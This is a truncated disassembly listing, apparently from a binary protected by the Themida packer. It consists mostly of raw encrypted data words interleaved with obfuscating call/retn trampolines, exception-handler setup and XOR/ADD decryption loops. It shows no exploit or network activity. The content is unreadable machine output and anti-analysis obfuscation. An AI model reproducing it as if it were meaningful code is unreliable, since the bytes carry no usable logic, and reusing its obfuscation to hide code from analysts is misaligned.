dd 140424h, 56460000h, 0B58981C3h, 6A8163Dh, 0A21FB5FFh
dd 0BB6606ABh, 9D8B6965h, 6A827B5h, 74A92A68h, 800F6035h
dd 12h, 0CE8h, 0EFBBBB00h, 0F0F7C5CBh, 0B4255CDEh, 5AB55954h
dd 24348161h, 356BAAD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0E1C35242h, 1EE205EEh, 0E8AA5091h, 10h
dd 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h, 8D5FF88Ah
dd 0ABA22785h, 1DBD3106h, 9006A815h, 6E8h, 3AB21700h, 60D092D6h
dd 0DE8h, 0B5C15B00h, 5BEF0B0Fh, 819EF48Eh, 605E49FAh
dd 505F6161h, 0DE9h, 0C8302400h, 0E699DB41h, 3FFAA7C8h
dd 6A903294h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0EE6FC352h, 0ADA3482Bh, 95FFFB8Bh
dd 6A80741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0C3C35141h, 61C2F452h, 342DBD09h, 85C706A8h, 6A80BBDh
dd 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
dd 0FBC35040h, 0B3802EE8h, 82CBFAFh, 9D0909CBh, 6A82D0Dh
dd 0A227BD83h, 0F0006ABh, 3284h, 0F88B6600h, 1E9BD8Bh
dd 3FE906A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 942EC350h, 9B50993h
dd 5006A81Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 64E492C3h, 0BD2938D4h, 6A8009Dh
dd 0BBDBD83h, 0F0306A8h, 3FA85h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 81C77A8Ch
dd 5354F1DFh, 19D2967h, 8906A803h, 0A813ED95h, 27BD8306h
dd 6ABA2h, 3BD840Fh, 0F7800000h, 27B5FFBFh, 6A06ABA2h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 5115C352h, 4982DBF4h, 4273CC18h, 0E39B509h
dd 95FF06A8h, 6A815F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0CC35343h, 9D8B49E8h, 6A80FF9h, 1E0DBD8Bh
dd 0B58B06A8h, 6ABA21Bh, 1A3EBF66h, 614808BFh, 106C724h
dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 4472C356h, 0BEC72C6h, 0A807459Dh
dd 66579606h, 5B7DA5BFh, 0FE950h, 12430000h, 8A1DD76Ch
dd 0BC3A0088h, 8BF5CDDCh, 0B5FF96C2h, 6ABA227h, 6AAABB66h
dd 219995FFh, 0BD8906A8h, 6A81D45h, 0A21BB58Bh, 0BD2906ABh
dd 6A82E4Dh, 0E41858Bh, 8B5306A8h, 0A819E1BDh, 86895F06h
dd 0C4h, 2B59B509h, 958B06A8h, 6A805B9h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 82C35747h, 0C2CC99Fh
dd 8E38EF12h, 9BD8BBBh, 8306A831h, 0B2BF04C2h, 8975F238h
dd 95292050h, 6A82EE9h, 0B7CE858Dh, 6A06ABh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4EE1EC3h
dd 3A5C45F0h, 66994CD0h, 8689FA8Bh, 0B8h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 98C35646h, 6A29D882h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0FAB58A08h, 3ED50225h, 0E8F88A6Dh, 0Fh
dd 16454264h, 6600049Dh, 65752683h, 8B53321Ch, 0B5FF5BD8h
dd 6ABA227h, 141D9D03h, 95FF06A8h, 6A81E1Dh, 65D4E381h
dd 50966351h, 6A96D98Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 53F1C352h, 0E96C33A5h
dd 9, 0F16D6FA4h, 0FA428362h, 27B5FF8Ch, 6A06ABA2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0BA4CC353h, 0CA17B91Eh, 5FD0C351h, 0EE9h, 0B7A1F900h
dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 0A82A6995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 1870F64h, 0F8000000h, 2E3DBD83h, 0F0006A8h, 3E84h, 0ADBD8B00h
dd 9606A82Ch, 0E9525050h, 8, 4160984Bh, 0B98BBA03h, 0DA8B310Fh
dd 6A96585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 38DFC356h, 0FFE2FD9Eh, 0ABA227B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0BBE8DE64h, 0F9B70F9Ah, 318595FFh, 6A06A8h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0D381FBC3h, 616B3D96h, 0A227B5FFh, 6A06ABh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 114D23C3h, 6424CC3Bh, 0F5595FFh, 0BD8306A8h, 6A8077Dh
dd 58840F02h, 8B000000h, 0A80D1985h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B5892E23h
dd 860Fh, 0E7810000h, 726218E3h, 6A0000C6h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4911C356h
dd 0F841678Dh, 0C7D8BF0Fh, 0A80DC185h, 6, 6DBD8B00h, 0E906A807h
dd 0FFFFF379h, 178B0Fh, 12E90000h, 0A0000000h, 0FAC0CE87h
dd 85507282h, 4A7FC1C5h, 0E1FD977Bh, 0D5E78174h, 8B30D883h
dd 6DBD89C1h, 8D06A833h, 0A8338585h, 0F008BF06h, 8B903E18h
dd 6A9050F8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 2920C352h, 0A82229BDh, 8B006A06h
dd 0A826CDBDh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0C3F4C352h, 8D895685h
dd 6A82809h, 0AE2543BFh, 6858D12h, 6A06AC44h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 44BDC351h, 0D11FB13Bh, 0CB813188h, 54040F0Dh, 0F05C083h
dd 0B89h, 5830F00h, 66000000h, 722C781h, 24048950h, 32DD9D23h
dd 6A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0E6C35646h, 70D78198h, 6A5C36B7h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 8BF02795h, 4195FFFAh, 6A06A825h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B50AC357h
dd 8589767Ah, 6A80971h, 8C7F8D8Dh, 8FBB06ABh, 0FF74459Dh
dd 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0EC8DECFEh, 1415520Ah, 16BB6646h, 0F8BF0FDEh
dd 339DBD83h, 0F0106A8h, 8E85h, 830F00h, 31000000h, 0A819A5BDh
dd 6A026A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 68C1C355h, 5BEC4CD5h, 0B2BB90D5h
dd 504BF02Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 276EB1C8h, 0C9BD8B03h, 8906A830h
dd 0A82131BDh, 1D95FF06h, 6A06A81Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8F03C350h
dd 0EAE25926h, 0E9CF36A2h, 0D82h, 0E8h, 0ED815D00h, 6AC4410h
dd 0A890Fh, 5E90000h, 94000000h, 6676D30Dh, 65D9D8Bh, 858D06A8h
dd 6AB7E2Eh, 0CBBB90FCh, 50587B3Fh, 0CE9h, 0C1781700h
dd 0DF3750B4h, 3029C6CDh, 0FE89007h, 7A000000h, 0D195A6D5h
dd 1E61A9A6h, 68545ED6h, 0DE9350Eh, 53000000h, 9D113772h
dd 500FF465h, 8D1147D8h, 9D29575Bh, 6A817C5h, 35FF645Bh
dd 0
; ---------------------------------------------------------------------------
push ecx
add ebx, 1BB19473h
pop edi
mov large fs:0, esp
push 0
push edx
call sub_58DEAA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DEAA proc near ; CODE XREF: Themida_:0058DEA2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_58DEAA endp
; ---------------------------------------------------------------------------
dw 0AD8Dh
; ---------------------------------------------------------------------------
jle loc_58DEC8
sub edi, [ebp+6A805A5h]
loc_58DEC8: ; CODE XREF: Themida_:0058DEBCj
inc dword ptr [ebp+6A833F1h]
jnp loc_58DEDA
add edi, 0E9740CFh
loc_58DEDA: ; CODE XREF: Themida_:0058DECEj
push 0FFFFFFFFh
mov bx, 0FFCFh
push dword ptr [ebp+6A81DA9h]
push 0
push ebp
call sub_58DEF1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58DEF1 proc near ; CODE XREF: Themida_:0058DEE9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_58DEF1 endp
; ---------------------------------------------------------------------------
db 99h, 21h, 5
dd 0EABD592Bh, 0BF668073h, 0BD89D36Bh, 6A83249h, 2A7D95FFh
dd 0DE906A8h, 0F000001h, 680h, 9FE38100h, 0B037C57Bh, 11958900h
dd 0E606A815h, 71E4F570h, 9E860h, 7B080000h, 5F3270DDh
dd 66DBD340h, 17C1DA81h, 0E1BD8B5Fh, 6106A829h, 830F613Ch
dd 0D0h, 0BE9h, 0F4883E00h, 0DE1B4A0h, 1568015Eh, 0B3C8B60Fh
dd 6BA7Dh, 0BD8B0000h, 6A83261h, 8B66C18Bh, 8E9FEh, 7680000h
dd 215A2A18h, 0E8C19D00h, 21BD8904h, 6606A834h, 0B3B7E2F7h
dd 80B7C82Bh, 7E9D18Bh, 74000000h, 0FA330B23h, 1E93B33h
dd 0F8000000h, 26C5858Bh, 0FE906A8h, 0EA000000h, 77E6DE3Ah
dd 1D814B0Ah, 8BA98004h, 0C0831846h, 0DF8B6607h, 0F00C083h
dd 0D03BDFB7h, 16830Fh, 6E90000h, 54000000h, 47C710D5h
dd 3AE926h, 0BD0B0000h, 6A80D45h, 251D8D8Bh, 0BD8906A8h
dd 6A80735h, 0F01E183h, 1F84h, 1DA58300h, 0FE06A825h, 2C98589h
dd 958906A8h, 6A826C5h, 7AEF81F9h, 0E90B3795h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6ABC2F2h]
push 0
push edx
call sub_58E03D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E03D proc near ; CODE XREF: Themida_:0058E035p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58E03D endp
; ---------------------------------------------------------------------------
db 44h, 2Fh, 34h
; ---------------------------------------------------------------------------
xchg ecx, [ecx-57F30E4Bh]
push es
push 0
push 0
push edx
call sub_58E064
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E064 proc near ; CODE XREF: Themida_:0058E05Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_58E064 endp
; ---------------------------------------------------------------------------
dd 158A6860h, 6D5E01BCh, 1B3195FFh, 6A06A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E0FF7C3h
dd 6, 1A81BD8Bh, 860F06A8h, 3, 0B9DAB70Fh, 0DBDh, 839AC780h
dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 2D62AC3h, 735EEFE8h, 6E860h, 899C0000h, 6252799Bh
dd 20AF1AB9h, 95895E45h, 6A800E1h, 850F6061h, 0Eh, 9E9h
dd 0CF257900h, 7C29041h, 61FC0812h, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0C5831B81h
dd 320DBD8Bh, 0F78106A8h, 0BA48CB2h, 0B8h, 0B8F0F00h, 0F000000h
dd 581h, 6032BF00h, 0D22B5118h, 0C233ADF5h, 0D003E8D1h
dd 7504E983h, 4EBF66F4h, 53006A2Eh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0E6578DB9h, 0DFA4E6Eh
dd 88h, 1DC9BD8Bh, 958B06A8h, 6A805B9h, 1605CB81h, 73B70843h
dd 14698D8Bh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 1060C1C3h, 92F64938h, 8D319630h
dd 6A82659h, 28A0F50h, 60000000h, 8B505B61h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 30619D8Bh, 6A06A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 7023ABC3h, 0DE8B66D8h, 0BD83A3B3h, 6A80C91h, 2F840F00h
dd 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+6A84FAFh]
push 0
push esi
call sub_58E239
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E239 proc near ; CODE XREF: Themida_:0058E231p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58E239 endp
; ---------------------------------------------------------------------------
jmp cx
; ---------------------------------------------------------------------------
mov [ebp+6A81FE9h], ebx
cmp dword ptr [ebp+6A80BBDh], 0
jz loc_58E6E8
xor bh, 1Eh
cmp dword ptr [ebp+6A80BBDh], 1
jz loc_58E703
or bx, 624Dh
cmp dword ptr [ebp+6A80BBDh], 3
jbe loc_58E6CD
or ebx, [ebp+6A82FEDh]
mov [ebp+6A80049h], ebx
pusha
push 0
push edx
call sub_58E299
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E299 proc near ; CODE XREF: Themida_:0058E291p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58E299 endp
; ---------------------------------------------------------------------------
db 0D0h, 4Eh, 4
dd 9E8h, 22BCE000h, 0BD3324F9h, 0EE8E6CCh, 0C0000000h
dd 0CF439D8Fh, 0CFC7487Fh, 0AE4B8D3h, 7585893Ah, 5F06A801h
dd 0D98C665Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 5DC35040h, 0B1E6402Ch, 0C015E65Ch, 6A04E180h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0EA26C352h, 0AE9958Eh, 33840FC9h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0F3FEC352h, 0B9A1232Ah, 34F19D33h, 858B06A8h, 6A80BE1h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h
dd 0AD9D8B1Ch, 3306A805h, 0A81D5D85h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0D0C6C249h, 0E59531F8h, 5006A810h, 8B665250h, 0E9310FF9h
dd 14h, 68964828h, 67495B50h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh
dd 489585Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 0E9E3BBAFh, 7, 18B7DC3Eh, 6AF3AAFAh
dd 51B58900h, 6806A81Eh, 0C84A8AE9h, 81DF8B66h, 79162404h
dd 0BD8B37D4h, 6A80C55h, 74195FFh, 0BD8B06A8h, 6A80CC5h
dd 0A2278589h, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 4E0BD0C3h, 12B68E4Dh, 0E960E681h
dd 1F0h, 63936BBBh, 5956602Dh, 0A0DE8166h, 858B61D1h, 6ABA21Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E1C35646h
dd 89A2C0E6h, 0A81EDD8Dh, 0DE906h, 582F0000h, 4FAF4E5Dh
dd 0FF16577Dh, 0C7330446h, 1800h, 29B50100h, 8B06A834h
dd 0ABA223B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0ADF3B73Dh, 0F5D6186h
dd 0CF80F9B7h, 7D858B48h, 6606A82Bh, 0BB5F381h, 6A0689h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0CBFE05C3h, 7CE6D53Ah, 69D78166h, 0DB816624h, 858BBA59h
dd 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0B7C35343h, 5858C49Ah, 5850Fh, 81660000h, 8984BFD7h
dd 0D4BB0446h, 5027EE1Eh, 13E8h, 0C97CC500h, 0BA73C413h
dd 73B021Bh, 3F83F5B5h, 125BE367h, 2434895Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5BC35141h, 0C1958964h
dd 906A82Bh, 0A8219D95h, 1FB5FF06h, 3106ABA2h, 0A8177D8Dh
dd 99B16806h, 481D9E6h, 386A4E24h, 51006A26h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0BAC7CDC6h
dd 858DA347h, 6ABA227h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 57C35141h, 0A3A12D6Eh, 0DB80F514h, 1AB350E1h
dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 4B45C350h, 0B5A1C70Ah, 0E781F46Fh
dd 1C5C65C1h, 19C19D0Bh, 95FF06A8h, 6A80741h, 9E9h, 0FFD2EE00h
dd 780BAA22h, 85296215h, 6A8110Dh, 53006A61h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7C932BC7h
dd 799D339Fh, 0C706A807h, 0A80BBD85h, 306h, 0BD83F900h
dd 6ABA227h, 52840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4EA5C357h
dd 65B57747h, 8B52DA5Ch, 0A82EA19Dh, 44BF6606h, 3AE988h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0B9D15EC3h
db 10h
; ---------------------------------------------------------------------------
loc_58E6CD: ; CODE XREF: Themida_:0058E27Bj
; Themida_:0058E6E4j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_58E6CD
jmp short loc_58E71E
; ---------------------------------------------------------------------------
loc_58E6E8: ; CODE XREF: Themida_:0058E259j
; Themida_:0058E6FFj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_58E6E8
jmp short loc_58E71E
; ---------------------------------------------------------------------------
loc_58E703: ; CODE XREF: Themida_:0058E269j
; Themida_:0058E71Aj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_58E703
jmp short $+2
loc_58E71E: ; CODE XREF: Themida_:0058E6E6j
; Themida_:0058E701j
mov eax, eax
mov ebx, [ebp+6A82761h]
jmp loc_58E739
; ---------------------------------------------------------------------------
db 0FCh
dd 9AE7196Ch, 0B05346D4h, 2BB60933h
db 0B0h
; ---------------------------------------------------------------------------
loc_58E739: ; CODE XREF: Themida_:0058E726j
push 0
push eax
call sub_58E744
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E744 proc near ; CODE XREF: Themida_:0058E73Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_58E744 endp
; ---------------------------------------------------------------------------
dd 858DBB10h, 0BD832FAFh, 6A80BBDh, 27850F03h, 0BB000004h
dd 310A7D29h, 0A227BD83h, 0F0006ABh, 41584h, 1E1EBF00h
dd 0B5FF0250h, 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 4CC35343h, 0E5FDB3AEh, 0E42CE1C5h, 0F995FF8Eh
dd 0F06A815h, 0B58BD8B7h, 6ABA21Bh, 9B9BD8Bh, 0C7FC06A8h
dd 1000106h, 96D98B00h, 0E88A7CBBh, 0BF665078h, 6A9637E3h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 4154C350h, 1A606B2Fh, 0CE960h, 0E9DE0000h
dd 49300B62h, 0FB2F517Eh, 11E90B88h, 0AB000000h, 0C3848C14h
dd 6803B15h, 6D18A068h, 28A29CB4h, 27B5FF61h, 8B06ABA2h
dd 0A81FB59Dh, 9995FF06h, 2906A821h, 0A8001995h, 10E906h
dd 7FBC0000h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0B58BEC51h
dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 43C35646h, 13E9A9h, 2C860000h, 0F9ED2483h, 4C81D9Dh
dd 20A38DCDh, 0BD69F57Bh, 41858BFAh, 6A06A80Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0E9D8C352h, 0Eh, 0EADA8485h, 443A784Ah, 4D8FF04Eh, 840F1745h
dd 6, 2C719D0Bh, 868906A8h, 0C4h, 7E95757h, 0D2000000h
dd 56AD435Bh, 5B5FBD5Ch, 5B9958Bh, 9D8B06A8h, 6A81499h
dd 8B04C283h, 0A80D919Dh, 20508906h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0ADC35343h, 98589B0h, 8B06A808h
dd 0A810FD9Dh, 0CE858D06h, 6A06ABB7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D5C356h
dd 35B509D5h, 8906A81Bh, 0B886h, 0D624BB00h, 6A1762h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B6C35040h, 3E9505B3h
dd 0FF68312Dh, 0ABA227B5h, 0FF3FB706h, 0A81E1D95h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 8DF381D5h, 960EC377h, 5650F98Bh, 310F5250h, 14E8h, 0CE52ED00h
dd 0A59968E5h, 625DE451h, 0C37C37F7h, 0DE08314Dh, 585A5F64h
dd 6A965Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0EB2D28C3h, 0B3F12C3Ch, 860F254Eh, 5, 64D78166h
dd 5E9DCh, 1D3B0000h, 0FF475186h, 0ABA227B5h, 39950106h
dd 0FF06A801h, 0A82A6995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 57577079h
dd 5F5FF98Bh, 2E3DBD83h, 0F0006A8h, 4E84h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0DBD8B68h, 5006A811h, 6A243489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 28E1C357h
dd 0BD893F9Ah, 6A82AF1h, 0FFDF8B66h, 0ABA227B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 55BD8B4Bh, 0FF06A817h, 0A8318595h, 199D2906h, 0FF06A825h
dd 0ABA227B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 7FAA9EAFh, 3079D9FDh
dd 0BB663F37h, 0BD31AB63h, 6A8211Dh, 0F5595FFh, 0B5BB06A8h
dd 83580907h, 0A8077DBDh, 840F0206h, 63h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0D3C35141h, 0A4EEDEB2h
dd 0BBC86F19h, 1F0FBB59h, 0D19858Bh, 0FE906A8h, 16000000h
dd 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 0C6D59Dh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0C73BD7AAh, 0A80DC185h, 6, 0DBD0100h, 0F06A800h, 47E9DBBFh
dd 0FFFFFF3h, 0C18BDFBFh, 858DAEB3h, 6A83385h, 0F98B90F9h
dd 6A9ABF50h, 3190450Dh, 0A800C985h, 0F006A06h, 0D82h
dd 8E900h, 34900000h, 0C49262C6h, 6A0F90h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FDC35646h, 5C4B77h
dd 18F744Eh, 0DFB70F2Fh, 8D8BDB80h, 0AC537185h, 1BD0306h
dd 8306A817h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 43F7DEC3h, 106324A9h, 8A0F50E5h
dd 4, 4E18BF66h, 1240489h, 0A81BA185h, 89006A06h, 0A82FED85h
dd 6A006A06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0ECA8C352h, 60267497h, 0A6670C0Fh
dd 386C12BFh, 0FE965h, 0EDD10000h, 0D0A92724h, 51F4585h
dd 0C618759h, 4195FF31h, 0F06A825h, 680h, 81BD0300h, 8D06A82Dh
dd 0AB8C7F8Dh, 79952906h, 0FF06A80Eh, 0B59589D1h, 0E906A82Dh
dd 7, 36668D8Eh, 83AFD96Bh, 0A8339DBDh, 850F0106h, 0BEh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B7C35141h
dd 0BEC7C1FDh, 77EFD7BEh, 0FABF0F4Dh, 6A026Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 39C63C3h, 0E563A767h, 0E990B4EBh, 6, 7D32C36h, 5050D35Dh
dd 866EBB52h, 310F5E96h, 6A90585Ah, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0FD2AC350h
dd 0CA4B8516h, 84546A8Dh, 0D1BD0960h, 0F06A815h, 0FF61D0B7h
dd 0A81E1D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 9AAFF3F9h, 19E9528Ch
dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AC537Bh
push 0
push ebx
call sub_58ED9A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ED9A proc near ; CODE XREF: Themida_:0058ED92p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_58ED9A endp
; ---------------------------------------------------------------------------
dw 8057h
dd 6E05E202h, 2DFDBD31h, 0DE906A8h, 75000000h, 8B4D4D87h
dd 0F7F6C7Ah, 0CD059B35h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0A3C35040h, 6FBFEB73h, 0BF08C101h, 2D7B54A4h
dd 7E2E858Dh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 2F5B3EC3h, 1EBDE525h, 0BB90F55Ah
dd 2131D602h, 905B5350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 8C35747h, 8BD18ABCh, 35FF64FAh, 0
; ---------------------------------------------------------------------------
push 0
push edi
loc_58EE4F: ; CODE XREF: Themida_:0058EEBBj
call sub_58EE57
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EE57 proc near ; CODE XREF: Themida_:loc_58EE4Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58EE57 endp
; ---------------------------------------------------------------------------
db 66h
; ---------------------------------------------------------------------------
clc
mov [ebp+6A8073Dh], esi
mov [ebp+6A81E41h], ebx
mov large fs:0, esp
push 0
push edi
call sub_58EE87
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EE87 proc near ; CODE XREF: Themida_:0058EE7Fp
arg_4 = dword ptr 8
pop edi
